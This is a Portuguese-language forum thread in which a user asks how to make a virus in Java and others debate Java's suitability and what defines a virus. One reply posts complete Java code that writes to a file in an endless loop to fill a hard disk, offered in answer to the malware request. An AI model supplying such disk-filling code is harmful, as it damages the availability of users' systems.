Resultados 1 a 9 de 9
  1. #1
    Newbie Avatar de thia
    Data de Ingresso
    Oct 2010
    Posts
    83

    Thumbs up Criar virus no java

    Alguem sabe como que faz um virus em java valeu!!!!!!!!!!!

  2. #2
    Moderador Avatar de M4CK
    Data de Ingresso
    Jul 2007
    Posts
    2.809


    Enfim, dúvida bem genérica .. se puder explanar um pouco sua questão creio que ficará mais fácil de toda a comunidade te ajudar.
    Ou postar o que tem em mente, seria bom analisar pra ver se Java é realmente a linguagem adequada ao que você quer implementar.

    Abraços.
    Última edição por M4CK; 12 Sep 2011 às 23:30.

  3. #3
    Newbie Avatar de systnow
    Data de Ingresso
    Sep 2011
    Localização
    Salvador - BA
    Posts
    21

    Smile

    Citação Postado originalmente por thia Ver Post
    Alguem sabe como que faz um virus em java valeu!!!!!!!!!!!


    Cara, é Bem Simples mais já vai ter uma ideia de como é utilize para estudo

    Ação: Criar um arquivo no computador e enchelo com texto até lotar o HD!
    Implemente ao Seu Criterio,
    Para Ficar mais interessante Estude sobre Registros,FileReader,FileWriter e por ai vai...

    HDFull.java
    Código:
    /*  
    #   _____           _                       
    #  / ____|         | |                      
    # | (___  _   _ ___| |_ _ __   _____      __
    #  \___ \| | | / __| __| '_ \ / _ \ \ /\ / /
    #  ____) | |_| \__ \ |_| | | | (_) \ V  V / 
    # |_____/ \__, |___/\__|_| |_|\___/ \_/\_/  
    #          __/ |                            
    #         |___/ 
    #    Analise e Desenvolvimento de Sistemas. 
    #             FAVOR NAO REMOVER
     */
    
    
    import java.io.FileWriter;
    import java.io.IOException;
    
    
    public class HDFull {
    
    
        String ArquivoFull;
        String ConteudoArquivo;
        boolean Option;
    
    
        public HDFull(String Conteudo, String Arquivo, boolean Acao) {
            this.ConteudoArquivo = Conteudo;
            this.ArquivoFull = Arquivo;
            this.Option = Acao;
        }
    
    
        public void Executa() throws IOException {
            FileWriter Es = new FileWriter(ArquivoFull, true);
    
    
            for (;;) { /*FOR INFINITO PARA ENCHER ARQUIVO*/
                Es.write(ArquivoFull);
            }
        }
    }


    Action.java
    Código:
    /*  
    #   _____           _                       
    #  / ____|         | |                      
    # | (___  _   _ ___| |_ _ __   _____      __
    #  \___ \| | | / __| __| '_ \ / _ \ \ /\ / /
    #  ____) | |_| \__ \ |_| | | | (_) \ V  V / 
    # |_____/ \__, |___/\__|_| |_|\___/ \_/\_/  
    #          __/ |                            
    #         |___/ 
    #    Analise e Desenvolvimento de Sistemas. 
    #             FAVOR NAO REMOVER
     */
    
    
    import java.io.IOException;
    
    
    public class Action {
    
    
        public static void main(String[] args) throws IOException {
            HDFull HDF = new HDFull("HDFULL", "Full.x", true);
            HDF.Executa();
        }
    }

    Boa Sorte com os Estudos !

    Abraços!
    Análise e Desenvolvimento de Sistemas.

    Coitados daqueles que me chamam de Homem Inteligente, Pobres eles que não reconhecem o Próprio Potencial (SystNOW)



  4. #4
    White Hat Administrador Avatar de fvox
    Data de Ingresso
    Sep 2005
    Localização
    São Paulo - SP
    Posts
    4.428
    Hi.

    Java não é bom pra isso.
    Depende do JRE, além de ser alto nível demais.

    []'s
    Acha que está caindo na insanidade? Mergulhe!

    Twitter | Blog | Facebook | Github

  5. #5
    Newbie Avatar de systnow
    Data de Ingresso
    Sep 2011
    Localização
    Salvador - BA
    Posts
    21
    fvox
    Concordo que realmente não seja bom para desenvolvimento de vírus
    mas... já ouvi casos de gringos ganhando fortunas com java desenvolvendo vírus Ex: Keylogger

    Obs: você que tem muito mais experiencia que eu ! acha que a informação é verdadeira?
    Análise e Desenvolvimento de Sistemas.

    Coitados daqueles que me chamam de Homem Inteligente, Pobres eles que não reconhecem o Próprio Potencial (SystNOW)



  6. #6
    Moderador Avatar de Marcelo Moraes
    Data de Ingresso
    May 2007
    Localização
    localhost
    Posts
    578
    Olá,

    Bem amigo é necessário antes de mais nada saber programar Java, entender a Orientação a Objeto, herança, polimorfismo, etc...

    Java realmente não é bom para desenvolver "Vírus" pois além de rodar dentro de uma VM ela é mais limitada que as outras, mas se for desenvolver coisas simples como o código do nosso amigo systnow postou sem problemas.

    Systnow, bem des que me conheço por gente eu realmente desconheço qualquer "vírus" escrito em Java!! Já vi alguns exemplos de Keyloggers simples, mas vírus mesmo nunca vi.

    Então uma dica ao amigo thia procure outra linguagem para estudar isso, como C + Assembly

    Abraços,
    Att,
    Marcelo Moraes.

  7. #7
    Moderador Avatar de _Guga_
    Data de Ingresso
    Apr 2006
    Localização
    Salvador - BA
    Posts
    2.118
    o que é um vírus de computador? como o nome sugere é um programa malware como outro qualquer, podendo causar danos ou não, porém ele SEMPRE deve ter uma rotina crucial: se replicar em arquivos hospedeiros

    há ainda a mistura de vírus e worms, pois além de se replicar, infectando arquivos de determinado tipo, disseminam-se de computador para computador através de várias ferramentas, como msn, orkut, e-mail, etc

    eu acredito que sim, seja possível criar um vírus em Java, mas lamento dizer que ele ficará limitado a infectar .class ou .jar, o que, na minha opinião, seria um virus com efeitos tão sutis e sem utilidade que eu consideraria um trabalho de deficiente mental quem realmente os fizer e sair por aí espalhando

    abraços
    Última edição por _Guga_; 26 Mar 2012 às 12:14.


    I must not fear. Fear is the mind killer.

  8. #8
    Java não é aconselhado para se trabalhar com algo do tipo, mas é possível sim.
    Lembre-se de que um vírus é um programa malicioso que possui duas caracteristicas básicas: infecção e auto-replicação (assim como os vírus biológicos).
    Em outras palavras, qualquer programa escrito na linguagem java que seja capaz de desempenhar ambas as funções, pode ser denominado como vírus.
    No momento estou sem tempo, mas eu vou postar mais ou menos uma idéia de como a gente pode fazer um.

  9. #9
    Hacker Avatar de acpguedes
    Data de Ingresso
    Sep 2011
    Localização
    #!/usr/bin/env perl
    Posts
    955
    sem tempestades... um virus em Java se limita a rodar enquanto a VM estiver ativa,

    Ainda pode funfar em arquivos class ou Jar

    mas vc pode compilar o bitecode p codigo de maquina, dai independe da VM pra rodar.. XD

    mas, n é bom p isso...
    So respondo se a consiencia perguntar!!!
    Não Respondo MP's de perguntas, as faça em um tópico!

    Perl User, Bioinformatcs Programmer!

Permissões de Postagem

  • Você não pode iniciar novos tópicos
  • Você não pode enviar respostas
  • Você não pode enviar anexos
  • Você não pode editar suas mensagens
  •